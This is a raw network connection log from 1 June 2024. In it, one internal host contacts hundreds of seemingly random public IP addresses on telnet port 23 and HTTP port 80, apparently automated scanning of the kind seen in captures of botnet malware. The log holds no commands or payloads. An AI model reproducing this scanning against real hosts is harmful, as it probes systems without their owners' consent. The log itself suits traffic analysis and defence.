Jun 1, 2024 18:15:54.223352909 CEST	65001	23	192.168.2.23	66.30.224.117
Jun 1, 2024 18:15:54.223380089 CEST	23	65001	148.119.134.81	192.168.2.23
Jun 1, 2024 18:15:54.223382950 CEST	55740	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.223385096 CEST	36138	80	192.168.2.23	192.174.109.168
Jun 1, 2024 18:15:54.223385096 CEST	23	65001	76.7.21.54	192.168.2.23
Jun 1, 2024 18:15:54.223397017 CEST	23	65001	131.169.153.7	192.168.2.23
Jun 1, 2024 18:15:54.223397970 CEST	55982	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.223402977 CEST	23	65001	169.183.202.65	192.168.2.23
Jun 1, 2024 18:15:54.223413944 CEST	23	65001	117.91.234.168	192.168.2.23
Jun 1, 2024 18:15:54.223419905 CEST	23	65001	154.127.193.101	192.168.2.23
Jun 1, 2024 18:15:54.223423004 CEST	60810	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.223424911 CEST	23	65001	91.251.69.84	192.168.2.23
Jun 1, 2024 18:15:54.223428965 CEST	65001	23	192.168.2.23	148.119.134.81
Jun 1, 2024 18:15:54.223433018 CEST	38850	80	192.168.2.23	76.167.108.173
Jun 1, 2024 18:15:54.223433018 CEST	65001	23	192.168.2.23	131.169.153.7
Jun 1, 2024 18:15:54.223438025 CEST	65001	23	192.168.2.23	76.7.21.54
Jun 1, 2024 18:15:54.223438025 CEST	65001	23	192.168.2.23	117.91.234.168
Jun 1, 2024 18:15:54.223442078 CEST	65001	23	192.168.2.23	169.183.202.65
Jun 1, 2024 18:15:54.223457098 CEST	65001	23	192.168.2.23	91.251.69.84
Jun 1, 2024 18:15:54.223469973 CEST	65001	23	192.168.2.23	154.127.193.101
Jun 1, 2024 18:15:54.223479986 CEST	49524	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.223514080 CEST	52248	80	192.168.2.23	210.124.107.233
Jun 1, 2024 18:15:54.223516941 CEST	46164	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.223534107 CEST	46754	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.223551035 CEST	44964	80	192.168.2.23	210.0.226.6
Jun 1, 2024 18:15:54.223583937 CEST	58026	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.223599911 CEST	43196	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.223613977 CEST	32936	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.223632097 CEST	36208	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.223632097 CEST	53032	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.223645926 CEST	44604	80	192.168.2.23	19.50.36.251
Jun 1, 2024 18:15:54.223661900 CEST	59368	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.223675013 CEST	39940	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.223694086 CEST	35140	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.223716974 CEST	56774	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.223726034 CEST	40456	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.223737001 CEST	23	65001	68.122.20.193	192.168.2.23
Jun 1, 2024 18:15:54.223742962 CEST	23	65001	68.145.175.151	192.168.2.23
Jun 1, 2024 18:15:54.223742962 CEST	55070	80	192.168.2.23	27.6.254.191
Jun 1, 2024 18:15:54.223752975 CEST	23	65001	113.176.76.201	192.168.2.23
Jun 1, 2024 18:15:54.223762989 CEST	46492	80	192.168.2.23	89.207.214.248
Jun 1, 2024 18:15:54.223767042 CEST	23	65001	24.23.207.35	192.168.2.23
Jun 1, 2024 18:15:54.223773003 CEST	23	65001	122.201.56.101	192.168.2.23
Jun 1, 2024 18:15:54.223773003 CEST	33194	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.223773956 CEST	65001	23	192.168.2.23	68.122.20.193
Jun 1, 2024 18:15:54.223777056 CEST	23	65001	138.251.108.144	192.168.2.23
Jun 1, 2024 18:15:54.223777056 CEST	65001	23	192.168.2.23	113.176.76.201
Jun 1, 2024 18:15:54.223784924 CEST	65001	23	192.168.2.23	68.145.175.151
Jun 1, 2024 18:15:54.223786116 CEST	23	65001	151.27.114.141	192.168.2.23
Jun 1, 2024 18:15:54.223795891 CEST	65001	23	192.168.2.23	122.201.56.101
Jun 1, 2024 18:15:54.223797083 CEST	23	65001	5.7.184.195	192.168.2.23
Jun 1, 2024 18:15:54.223803997 CEST	23	65001	150.57.104.237	192.168.2.23
Jun 1, 2024 18:15:54.223803997 CEST	65001	23	192.168.2.23	24.23.207.35
Jun 1, 2024 18:15:54.223805904 CEST	37350	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.223809004 CEST	23	65001	139.209.151.23	192.168.2.23
Jun 1, 2024 18:15:54.223814011 CEST	23	65001	64.116.162.12	192.168.2.23
Jun 1, 2024 18:15:54.223822117 CEST	65001	23	192.168.2.23	138.251.108.144
Jun 1, 2024 18:15:54.223830938 CEST	38350	80	192.168.2.23	223.111.60.145
Jun 1, 2024 18:15:54.223830938 CEST	65001	23	192.168.2.23	5.7.184.195
Jun 1, 2024 18:15:54.223834991 CEST	65001	23	192.168.2.23	151.27.114.141
Jun 1, 2024 18:15:54.223841906 CEST	65001	23	192.168.2.23	150.57.104.237
Jun 1, 2024 18:15:54.223841906 CEST	65001	23	192.168.2.23	64.116.162.12
Jun 1, 2024 18:15:54.223850965 CEST	65001	23	192.168.2.23	139.209.151.23
Jun 1, 2024 18:15:54.223865986 CEST	33318	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.223867893 CEST	23	65001	41.67.158.219	192.168.2.23
Jun 1, 2024 18:15:54.223890066 CEST	53466	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.223910093 CEST	48614	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.223912001 CEST	65001	23	192.168.2.23	41.67.158.219
Jun 1, 2024 18:15:54.223933935 CEST	44888	80	192.168.2.23	161.43.121.185
Jun 1, 2024 18:15:54.223943949 CEST	53154	80	192.168.2.23	206.73.46.114
Jun 1, 2024 18:15:54.223965883 CEST	59916	80	192.168.2.23	223.93.215.58
Jun 1, 2024 18:15:54.223989010 CEST	50474	80	192.168.2.23	39.24.219.249
Jun 1, 2024 18:15:54.223999977 CEST	48212	80	192.168.2.23	85.238.207.251
Jun 1, 2024 18:15:54.224020958 CEST	47694	80	192.168.2.23	134.80.188.68
Jun 1, 2024 18:15:54.224023104 CEST	44378	80	192.168.2.23	32.62.55.43
Jun 1, 2024 18:15:54.224037886 CEST	45190	80	192.168.2.23	42.11.130.136
Jun 1, 2024 18:15:54.224056005 CEST	51378	80	192.168.2.23	82.34.11.96
Jun 1, 2024 18:15:54.224070072 CEST	41774	80	192.168.2.23	163.191.4.156
Jun 1, 2024 18:15:54.224092007 CEST	41362	80	192.168.2.23	41.189.31.68
Jun 1, 2024 18:15:54.224095106 CEST	50710	80	192.168.2.23	198.203.182.175
Jun 1, 2024 18:15:54.224113941 CEST	48026	80	192.168.2.23	124.204.6.25
Jun 1, 2024 18:15:54.224127054 CEST	45958	80	192.168.2.23	146.155.139.101
Jun 1, 2024 18:15:54.224148035 CEST	54808	80	192.168.2.23	118.249.69.78
Jun 1, 2024 18:15:54.224164963 CEST	52274	80	192.168.2.23	106.72.36.51
Jun 1, 2024 18:15:54.224183083 CEST	49570	80	192.168.2.23	42.187.49.118
Jun 1, 2024 18:15:54.224200010 CEST	49860	80	192.168.2.23	145.13.166.240
Jun 1, 2024 18:15:54.224206924 CEST	41616	80	192.168.2.23	66.92.28.90
Jun 1, 2024 18:15:54.224229097 CEST	23	65001	44.225.253.229	192.168.2.23
Jun 1, 2024 18:15:54.224236012 CEST	50036	80	192.168.2.23	99.223.38.236
Jun 1, 2024 18:15:54.224244118 CEST	43072	80	192.168.2.23	107.118.12.96
Jun 1, 2024 18:15:54.224261999 CEST	23	65001	98.206.99.1	192.168.2.23
Jun 1, 2024 18:15:54.224263906 CEST	38226	80	192.168.2.23	156.33.185.72
Jun 1, 2024 18:15:54.224265099 CEST	65001	23	192.168.2.23	44.225.253.229
Jun 1, 2024 18:15:54.224267006 CEST	23	65001	91.70.36.230	192.168.2.23
Jun 1, 2024 18:15:54.224278927 CEST	23	65001	182.177.252.181	192.168.2.23
Jun 1, 2024 18:15:54.224291086 CEST	35692	80	192.168.2.23	211.152.213.185
Jun 1, 2024 18:15:54.224296093 CEST	23	65001	63.109.162.232	192.168.2.23
Jun 1, 2024 18:15:54.224301100 CEST	55520	80	192.168.2.23	118.167.64.175
Jun 1, 2024 18:15:54.224301100 CEST	23	65001	212.152.91.112	192.168.2.23
Jun 1, 2024 18:15:54.224304914 CEST	65001	23	192.168.2.23	98.206.99.1
Jun 1, 2024 18:15:54.224311113 CEST	65001	23	192.168.2.23	91.70.36.230
Jun 1, 2024 18:15:54.224313021 CEST	23	65001	146.15.125.43	192.168.2.23
Jun 1, 2024 18:15:54.224318027 CEST	23	65001	103.71.53.103	192.168.2.23
Jun 1, 2024 18:15:54.224322081 CEST	65001	23	192.168.2.23	63.109.162.232
Jun 1, 2024 18:15:54.224323034 CEST	44968	80	192.168.2.23	176.78.160.138
Jun 1, 2024 18:15:54.224323034 CEST	65001	23	192.168.2.23	182.177.252.181
Jun 1, 2024 18:15:54.224329948 CEST	65001	23	192.168.2.23	212.152.91.112
Jun 1, 2024 18:15:54.224334955 CEST	65001	23	192.168.2.23	146.15.125.43
Jun 1, 2024 18:15:54.224354982 CEST	65001	23	192.168.2.23	103.71.53.103
Jun 1, 2024 18:15:54.224364996 CEST	23	65001	53.32.85.176	192.168.2.23
Jun 1, 2024 18:15:54.224370003 CEST	23	65001	187.1.244.70	192.168.2.23
Jun 1, 2024 18:15:54.224375963 CEST	38306	80	192.168.2.23	87.233.87.119
Jun 1, 2024 18:15:54.224380016 CEST	23	65001	48.30.226.219	192.168.2.23
Jun 1, 2024 18:15:54.224389076 CEST	42682	80	192.168.2.23	13.15.216.154
Jun 1, 2024 18:15:54.224389076 CEST	23	65001	207.235.60.18	192.168.2.23
Jun 1, 2024 18:15:54.224389076 CEST	33688	80	192.168.2.23	41.108.232.85
Jun 1, 2024 18:15:54.224396944 CEST	23	65001	69.72.62.101	192.168.2.23
Jun 1, 2024 18:15:54.224405050 CEST	43444	80	192.168.2.23	106.211.139.161
Jun 1, 2024 18:15:54.224406958 CEST	65001	23	192.168.2.23	187.1.244.70
Jun 1, 2024 18:15:54.224407911 CEST	23	65001	143.61.93.106	192.168.2.23
Jun 1, 2024 18:15:54.224412918 CEST	23	65001	111.62.3.51	192.168.2.23
Jun 1, 2024 18:15:54.224416971 CEST	65001	23	192.168.2.23	53.32.85.176
Jun 1, 2024 18:15:54.224417925 CEST	65001	23	192.168.2.23	48.30.226.219
Jun 1, 2024 18:15:54.224423885 CEST	23	65001	175.173.1.47	192.168.2.23
Jun 1, 2024 18:15:54.224431992 CEST	53534	80	192.168.2.23	219.191.228.10
Jun 1, 2024 18:15:54.224436045 CEST	65001	23	192.168.2.23	69.72.62.101
Jun 1, 2024 18:15:54.224442959 CEST	65001	23	192.168.2.23	207.235.60.18
Jun 1, 2024 18:15:54.224442959 CEST	35884	80	192.168.2.23	182.171.65.27
Jun 1, 2024 18:15:54.224443913 CEST	65001	23	192.168.2.23	143.61.93.106
Jun 1, 2024 18:15:54.224453926 CEST	65001	23	192.168.2.23	111.62.3.51
Jun 1, 2024 18:15:54.224457979 CEST	23	65001	60.15.247.116	192.168.2.23
Jun 1, 2024 18:15:54.224461079 CEST	65001	23	192.168.2.23	175.173.1.47
Jun 1, 2024 18:15:54.224462986 CEST	23	65001	128.0.198.237	192.168.2.23
Jun 1, 2024 18:15:54.224473953 CEST	23	65001	126.43.218.175	192.168.2.23
Jun 1, 2024 18:15:54.224478960 CEST	23	65001	46.90.165.52	192.168.2.23
Jun 1, 2024 18:15:54.224494934 CEST	65001	23	192.168.2.23	60.15.247.116
Jun 1, 2024 18:15:54.224498987 CEST	50940	80	192.168.2.23	76.115.82.134
Jun 1, 2024 18:15:54.224515915 CEST	65001	23	192.168.2.23	128.0.198.237
Jun 1, 2024 18:15:54.224523067 CEST	65001	23	192.168.2.23	46.90.165.52
Jun 1, 2024 18:15:54.224524021 CEST	65001	23	192.168.2.23	126.43.218.175
Jun 1, 2024 18:15:54.224524021 CEST	50888	80	192.168.2.23	181.246.71.152
Jun 1, 2024 18:15:54.224543095 CEST	44588	80	192.168.2.23	176.104.168.239
Jun 1, 2024 18:15:54.224553108 CEST	49912	80	192.168.2.23	116.128.48.224
Jun 1, 2024 18:15:54.224570990 CEST	59202	80	192.168.2.23	104.134.7.68
Jun 1, 2024 18:15:54.224591970 CEST	35516	80	192.168.2.23	209.98.115.136
Jun 1, 2024 18:15:54.224627972 CEST	41746	80	192.168.2.23	80.152.111.154
Jun 1, 2024 18:15:54.224641085 CEST	35078	80	192.168.2.23	157.151.151.63
Jun 1, 2024 18:15:54.224641085 CEST	41472	80	192.168.2.23	213.46.243.209
Jun 1, 2024 18:15:54.224654913 CEST	38122	80	192.168.2.23	149.39.112.106
Jun 1, 2024 18:15:54.224692106 CEST	39030	80	192.168.2.23	217.30.58.227
Jun 1, 2024 18:15:54.224716902 CEST	32974	80	192.168.2.23	190.157.211.94
Jun 1, 2024 18:15:54.224795103 CEST	39258	80	192.168.2.23	108.12.66.222
Jun 1, 2024 18:15:54.225044966 CEST	23	65001	95.51.153.117	192.168.2.23
Jun 1, 2024 18:15:54.225055933 CEST	23	65001	182.168.112.241	192.168.2.23
Jun 1, 2024 18:15:54.225066900 CEST	23	65001	71.36.35.50	192.168.2.23
Jun 1, 2024 18:15:54.225071907 CEST	23	65001	115.79.30.121	192.168.2.23
Jun 1, 2024 18:15:54.225083113 CEST	23	65001	212.183.104.59	192.168.2.23
Jun 1, 2024 18:15:54.225096941 CEST	65001	23	192.168.2.23	182.168.112.241
Jun 1, 2024 18:15:54.225100994 CEST	65001	23	192.168.2.23	71.36.35.50
Jun 1, 2024 18:15:54.225105047 CEST	65001	23	192.168.2.23	115.79.30.121
Jun 1, 2024 18:15:54.225106955 CEST	23	65001	138.162.53.61	192.168.2.23
Jun 1, 2024 18:15:54.225111008 CEST	65001	23	192.168.2.23	95.51.153.117
Jun 1, 2024 18:15:54.225114107 CEST	23	65001	199.165.22.5	192.168.2.23
Jun 1, 2024 18:15:54.225125074 CEST	23	65001	32.146.213.189	192.168.2.23
Jun 1, 2024 18:15:54.225126982 CEST	65001	23	192.168.2.23	212.183.104.59
Jun 1, 2024 18:15:54.225130081 CEST	23	65001	111.236.116.206	192.168.2.23
Jun 1, 2024 18:15:54.225150108 CEST	23	65001	149.228.116.25	192.168.2.23
Jun 1, 2024 18:15:54.225152016 CEST	65001	23	192.168.2.23	138.162.53.61
Jun 1, 2024 18:15:54.225153923 CEST	65001	23	192.168.2.23	199.165.22.5
Jun 1, 2024 18:15:54.225156069 CEST	23	65001	9.15.132.60	192.168.2.23
Jun 1, 2024 18:15:54.225167036 CEST	23	65001	1.137.26.242	192.168.2.23
Jun 1, 2024 18:15:54.225172043 CEST	23	65001	197.133.71.141	192.168.2.23
Jun 1, 2024 18:15:54.225176096 CEST	65001	23	192.168.2.23	32.146.213.189
Jun 1, 2024 18:15:54.225177050 CEST	65001	23	192.168.2.23	111.236.116.206
Jun 1, 2024 18:15:54.225183010 CEST	23	65001	17.253.164.66	192.168.2.23
Jun 1, 2024 18:15:54.225193977 CEST	65001	23	192.168.2.23	149.228.116.25
Jun 1, 2024 18:15:54.225198030 CEST	65001	23	192.168.2.23	9.15.132.60
Jun 1, 2024 18:15:54.225214005 CEST	65001	23	192.168.2.23	197.133.71.141
Jun 1, 2024 18:15:54.225218058 CEST	65001	23	192.168.2.23	17.253.164.66
Jun 1, 2024 18:15:54.225218058 CEST	65001	23	192.168.2.23	1.137.26.242
Jun 1, 2024 18:15:54.225258112 CEST	23	65001	103.246.124.172	192.168.2.23
Jun 1, 2024 18:15:54.225306988 CEST	65001	23	192.168.2.23	103.246.124.172
Jun 1, 2024 18:15:54.225524902 CEST	23	65001	115.6.200.157	192.168.2.23
Jun 1, 2024 18:15:54.225531101 CEST	23	65001	120.43.20.59	192.168.2.23
Jun 1, 2024 18:15:54.225542068 CEST	23	65001	164.139.146.162	192.168.2.23
Jun 1, 2024 18:15:54.225573063 CEST	23	65001	57.112.202.10	192.168.2.23
Jun 1, 2024 18:15:54.225577116 CEST	65001	23	192.168.2.23	115.6.200.157
Jun 1, 2024 18:15:54.225579023 CEST	23	65001	52.75.147.76	192.168.2.23
Jun 1, 2024 18:15:54.225577116 CEST	65001	23	192.168.2.23	120.43.20.59
Jun 1, 2024 18:15:54.225591898 CEST	23	65001	69.100.125.73	192.168.2.23
Jun 1, 2024 18:15:54.225596905 CEST	65001	23	192.168.2.23	164.139.146.162
Jun 1, 2024 18:15:54.225600958 CEST	23	65001	42.217.181.254	192.168.2.23
Jun 1, 2024 18:15:54.225621939 CEST	65001	23	192.168.2.23	57.112.202.10
Jun 1, 2024 18:15:54.225629091 CEST	65001	23	192.168.2.23	52.75.147.76
Jun 1, 2024 18:15:54.225642920 CEST	65001	23	192.168.2.23	69.100.125.73
Jun 1, 2024 18:15:54.225646019 CEST	65001	23	192.168.2.23	42.217.181.254
Jun 1, 2024 18:15:54.225972891 CEST	23	65001	96.238.189.58	192.168.2.23
Jun 1, 2024 18:15:54.225979090 CEST	23	65001	19.211.219.13	192.168.2.23
Jun 1, 2024 18:15:54.225991011 CEST	23	65001	95.221.170.15	192.168.2.23
Jun 1, 2024 18:15:54.225996017 CEST	23	65001	62.39.249.20	192.168.2.23
Jun 1, 2024 18:15:54.226006985 CEST	23	65001	124.177.120.3	192.168.2.23
Jun 1, 2024 18:15:54.226011992 CEST	23	65001	40.165.89.163	192.168.2.23
Jun 1, 2024 18:15:54.226022959 CEST	65001	23	192.168.2.23	96.238.189.58
Jun 1, 2024 18:15:54.226027012 CEST	23	65001	129.50.219.153	192.168.2.23
Jun 1, 2024 18:15:54.226027966 CEST	65001	23	192.168.2.23	19.211.219.13
Jun 1, 2024 18:15:54.226028919 CEST	65001	23	192.168.2.23	62.39.249.20
Jun 1, 2024 18:15:54.226032019 CEST	23	65001	217.252.205.132	192.168.2.23
Jun 1, 2024 18:15:54.226037979 CEST	65001	23	192.168.2.23	95.221.170.15
Jun 1, 2024 18:15:54.226042986 CEST	23	65001	106.114.193.113	192.168.2.23
Jun 1, 2024 18:15:54.226048946 CEST	23	65001	49.153.30.138	192.168.2.23
Jun 1, 2024 18:15:54.226051092 CEST	65001	23	192.168.2.23	124.177.120.3
Jun 1, 2024 18:15:54.226058960 CEST	23	65001	102.96.0.74	192.168.2.23
Jun 1, 2024 18:15:54.226058960 CEST	65001	23	192.168.2.23	40.165.89.163
Jun 1, 2024 18:15:54.226063967 CEST	23	65001	63.24.115.179	192.168.2.23
Jun 1, 2024 18:15:54.226069927 CEST	23	65001	108.177.249.113	192.168.2.23
Jun 1, 2024 18:15:54.226073980 CEST	65001	23	192.168.2.23	217.252.205.132
Jun 1, 2024 18:15:54.226073980 CEST	65001	23	192.168.2.23	129.50.219.153
Jun 1, 2024 18:15:54.226079941 CEST	23	65001	124.175.120.168	192.168.2.23
Jun 1, 2024 18:15:54.226084948 CEST	65001	23	192.168.2.23	106.114.193.113
Jun 1, 2024 18:15:54.226085901 CEST	23	65001	119.86.1.172	192.168.2.23
Jun 1, 2024 18:15:54.226089001 CEST	65001	23	192.168.2.23	102.96.0.74
Jun 1, 2024 18:15:54.226093054 CEST	23	65001	73.28.244.67	192.168.2.23
Jun 1, 2024 18:15:54.226098061 CEST	23	65001	178.71.203.98	192.168.2.23
Jun 1, 2024 18:15:54.226102114 CEST	65001	23	192.168.2.23	63.24.115.179
Jun 1, 2024 18:15:54.226103067 CEST	23	65001	74.110.204.49	192.168.2.23
Jun 1, 2024 18:15:54.226104021 CEST	65001	23	192.168.2.23	49.153.30.138
Jun 1, 2024 18:15:54.226108074 CEST	65001	23	192.168.2.23	108.177.249.113
Jun 1, 2024 18:15:54.226109028 CEST	23	65001	154.80.92.171	192.168.2.23
Jun 1, 2024 18:15:54.226114035 CEST	23	65001	162.88.87.208	192.168.2.23
Jun 1, 2024 18:15:54.226115942 CEST	65001	23	192.168.2.23	124.175.120.168
Jun 1, 2024 18:15:54.226116896 CEST	65001	23	192.168.2.23	119.86.1.172
Jun 1, 2024 18:15:54.226119041 CEST	23	65001	104.161.76.153	192.168.2.23
Jun 1, 2024 18:15:54.226124048 CEST	65001	23	192.168.2.23	73.28.244.67
Jun 1, 2024 18:15:54.226124048 CEST	23	65001	121.87.41.116	192.168.2.23
Jun 1, 2024 18:15:54.226128101 CEST	23	65001	217.42.154.128	192.168.2.23
Jun 1, 2024 18:15:54.226135015 CEST	65001	23	192.168.2.23	178.71.203.98
Jun 1, 2024 18:15:54.226144075 CEST	65001	23	192.168.2.23	154.80.92.171
Jun 1, 2024 18:15:54.226147890 CEST	65001	23	192.168.2.23	121.87.41.116
Jun 1, 2024 18:15:54.226149082 CEST	65001	23	192.168.2.23	74.110.204.49
Jun 1, 2024 18:15:54.226147890 CEST	65001	23	192.168.2.23	104.161.76.153
Jun 1, 2024 18:15:54.226150990 CEST	65001	23	192.168.2.23	217.42.154.128
Jun 1, 2024 18:15:54.226151943 CEST	65001	23	192.168.2.23	162.88.87.208
Jun 1, 2024 18:15:54.226457119 CEST	23	65001	73.38.88.156	192.168.2.23
Jun 1, 2024 18:15:54.226464033 CEST	23	65001	185.103.250.194	192.168.2.23
Jun 1, 2024 18:15:54.226475000 CEST	23	65001	184.200.159.36	192.168.2.23
Jun 1, 2024 18:15:54.226483107 CEST	23	65001	122.209.251.221	192.168.2.23
Jun 1, 2024 18:15:54.226492882 CEST	23	65001	83.235.250.127	192.168.2.23
Jun 1, 2024 18:15:54.226497889 CEST	23	65001	65.207.139.10	192.168.2.23
Jun 1, 2024 18:15:54.226505041 CEST	65001	23	192.168.2.23	73.38.88.156
Jun 1, 2024 18:15:54.226506948 CEST	23	65001	81.247.37.118	192.168.2.23
Jun 1, 2024 18:15:54.226512909 CEST	23	65001	201.108.88.57	192.168.2.23
Jun 1, 2024 18:15:54.226517916 CEST	23	65001	185.229.138.108	192.168.2.23
Jun 1, 2024 18:15:54.226519108 CEST	65001	23	192.168.2.23	185.103.250.194
Jun 1, 2024 18:15:54.226522923 CEST	23	65001	4.44.0.217	192.168.2.23
Jun 1, 2024 18:15:54.226525068 CEST	65001	23	192.168.2.23	184.200.159.36
Jun 1, 2024 18:15:54.226527929 CEST	65001	23	192.168.2.23	65.207.139.10
Jun 1, 2024 18:15:54.226530075 CEST	65001	23	192.168.2.23	122.209.251.221
Jun 1, 2024 18:15:54.226531029 CEST	65001	23	192.168.2.23	83.235.250.127
Jun 1, 2024 18:15:54.226538897 CEST	65001	23	192.168.2.23	81.247.37.118
Jun 1, 2024 18:15:54.226552963 CEST	65001	23	192.168.2.23	185.229.138.108
Jun 1, 2024 18:15:54.226558924 CEST	65001	23	192.168.2.23	4.44.0.217
Jun 1, 2024 18:15:54.226558924 CEST	65001	23	192.168.2.23	201.108.88.57
Jun 1, 2024 18:15:54.226902008 CEST	23	65001	37.246.206.181	192.168.2.23
Jun 1, 2024 18:15:54.226908922 CEST	23	65001	175.101.155.169	192.168.2.23
Jun 1, 2024 18:15:54.226919889 CEST	23	65001	220.1.136.52	192.168.2.23
Jun 1, 2024 18:15:54.226924896 CEST	23	65001	148.162.22.237	192.168.2.23
Jun 1, 2024 18:15:54.226934910 CEST	23	65001	48.25.120.208	192.168.2.23
Jun 1, 2024 18:15:54.226941109 CEST	23	65001	98.221.113.56	192.168.2.23
Jun 1, 2024 18:15:54.226944923 CEST	23	65001	139.191.22.34	192.168.2.23
Jun 1, 2024 18:15:54.226955891 CEST	23	65001	193.83.110.33	192.168.2.23
Jun 1, 2024 18:15:54.226958036 CEST	65001	23	192.168.2.23	37.246.206.181
Jun 1, 2024 18:15:54.226958036 CEST	65001	23	192.168.2.23	175.101.155.169
Jun 1, 2024 18:15:54.226960897 CEST	23	65001	171.246.150.161	192.168.2.23
Jun 1, 2024 18:15:54.226965904 CEST	65001	23	192.168.2.23	220.1.136.52
Jun 1, 2024 18:15:54.226967096 CEST	23	65001	179.115.138.117	192.168.2.23
Jun 1, 2024 18:15:54.226973057 CEST	65001	23	192.168.2.23	148.162.22.237
Jun 1, 2024 18:15:54.226973057 CEST	65001	23	192.168.2.23	48.25.120.208
Jun 1, 2024 18:15:54.226974964 CEST	23	65001	75.164.196.49	192.168.2.23
Jun 1, 2024 18:15:54.226979017 CEST	65001	23	192.168.2.23	98.221.113.56
Jun 1, 2024 18:15:54.226980925 CEST	23	65001	172.221.213.10	192.168.2.23
Jun 1, 2024 18:15:54.226980925 CEST	65001	23	192.168.2.23	139.191.22.34
Jun 1, 2024 18:15:54.226986885 CEST	23	65001	86.225.57.172	192.168.2.23
Jun 1, 2024 18:15:54.226993084 CEST	23	65001	47.53.35.60	192.168.2.23
Jun 1, 2024 18:15:54.226994038 CEST	65001	23	192.168.2.23	193.83.110.33
Jun 1, 2024 18:15:54.226996899 CEST	23	65001	160.159.10.237	192.168.2.23
Jun 1, 2024 18:15:54.227005959 CEST	65001	23	192.168.2.23	171.246.150.161
Jun 1, 2024 18:15:54.227006912 CEST	65001	23	192.168.2.23	75.164.196.49
Jun 1, 2024 18:15:54.227010965 CEST	65001	23	192.168.2.23	86.225.57.172
Jun 1, 2024 18:15:54.227021933 CEST	65001	23	192.168.2.23	179.115.138.117
Jun 1, 2024 18:15:54.227022886 CEST	65001	23	192.168.2.23	172.221.213.10
Jun 1, 2024 18:15:54.227025032 CEST	65001	23	192.168.2.23	47.53.35.60
Jun 1, 2024 18:15:54.227030993 CEST	23	65001	88.160.63.139	192.168.2.23
Jun 1, 2024 18:15:54.227031946 CEST	65001	23	192.168.2.23	160.159.10.237
Jun 1, 2024 18:15:54.227036953 CEST	23	65001	96.224.19.152	192.168.2.23
Jun 1, 2024 18:15:54.227047920 CEST	23	65001	107.101.27.16	192.168.2.23
Jun 1, 2024 18:15:54.227052927 CEST	23	65001	82.38.26.114	192.168.2.23
Jun 1, 2024 18:15:54.227081060 CEST	65001	23	192.168.2.23	88.160.63.139
Jun 1, 2024 18:15:54.227081060 CEST	65001	23	192.168.2.23	96.224.19.152
Jun 1, 2024 18:15:54.227092028 CEST	65001	23	192.168.2.23	82.38.26.114
Jun 1, 2024 18:15:54.227093935 CEST	65001	23	192.168.2.23	107.101.27.16
Jun 1, 2024 18:15:54.227538109 CEST	23	65001	45.97.207.171	192.168.2.23
Jun 1, 2024 18:15:54.227544069 CEST	23	65001	154.3.175.219	192.168.2.23
Jun 1, 2024 18:15:54.227549076 CEST	23	65001	31.170.21.25	192.168.2.23
Jun 1, 2024 18:15:54.227552891 CEST	23	65001	44.150.39.103	192.168.2.23
Jun 1, 2024 18:15:54.227579117 CEST	23	65001	139.127.241.107	192.168.2.23
Jun 1, 2024 18:15:54.227585077 CEST	23	65001	120.49.39.151	192.168.2.23
Jun 1, 2024 18:15:54.227586031 CEST	65001	23	192.168.2.23	45.97.207.171
Jun 1, 2024 18:15:54.227588892 CEST	23	65001	142.253.127.100	192.168.2.23
Jun 1, 2024 18:15:54.227591038 CEST	65001	23	192.168.2.23	154.3.175.219
Jun 1, 2024 18:15:54.227591991 CEST	65001	23	192.168.2.23	44.150.39.103
Jun 1, 2024 18:15:54.227593899 CEST	65001	23	192.168.2.23	31.170.21.25
Jun 1, 2024 18:15:54.227612972 CEST	23	65001	180.60.222.73	192.168.2.23
Jun 1, 2024 18:15:54.227612972 CEST	65001	23	192.168.2.23	139.127.241.107
Jun 1, 2024 18:15:54.227615118 CEST	65001	23	192.168.2.23	120.49.39.151
Jun 1, 2024 18:15:54.227617979 CEST	23	65001	37.212.94.245	192.168.2.23
Jun 1, 2024 18:15:54.227627039 CEST	65001	23	192.168.2.23	142.253.127.100
Jun 1, 2024 18:15:54.227628946 CEST	23	65001	201.169.165.237	192.168.2.23
Jun 1, 2024 18:15:54.227653980 CEST	23	65001	109.54.24.29	192.168.2.23
Jun 1, 2024 18:15:54.227655888 CEST	65001	23	192.168.2.23	37.212.94.245
Jun 1, 2024 18:15:54.227658987 CEST	23	65001	91.112.206.131	192.168.2.23
Jun 1, 2024 18:15:54.227660894 CEST	65001	23	192.168.2.23	180.60.222.73
Jun 1, 2024 18:15:54.227663040 CEST	23	65001	152.245.238.177	192.168.2.23
Jun 1, 2024 18:15:54.227688074 CEST	65001	23	192.168.2.23	109.54.24.29
Jun 1, 2024 18:15:54.227689981 CEST	65001	23	192.168.2.23	201.169.165.237
Jun 1, 2024 18:15:54.227704048 CEST	65001	23	192.168.2.23	91.112.206.131
Jun 1, 2024 18:15:54.227706909 CEST	65001	23	192.168.2.23	152.245.238.177
Jun 1, 2024 18:15:54.227710009 CEST	23	65001	137.13.120.180	192.168.2.23
Jun 1, 2024 18:15:54.227715969 CEST	23	65001	146.121.125.70	192.168.2.23
Jun 1, 2024 18:15:54.227726936 CEST	23	65001	176.201.211.163	192.168.2.23
Jun 1, 2024 18:15:54.227731943 CEST	23	65001	182.210.32.216	192.168.2.23
Jun 1, 2024 18:15:54.227742910 CEST	23	65001	142.99.140.251	192.168.2.23
Jun 1, 2024 18:15:54.227746964 CEST	23	65001	91.82.168.215	192.168.2.23
Jun 1, 2024 18:15:54.227751970 CEST	23	65001	213.109.105.180	192.168.2.23
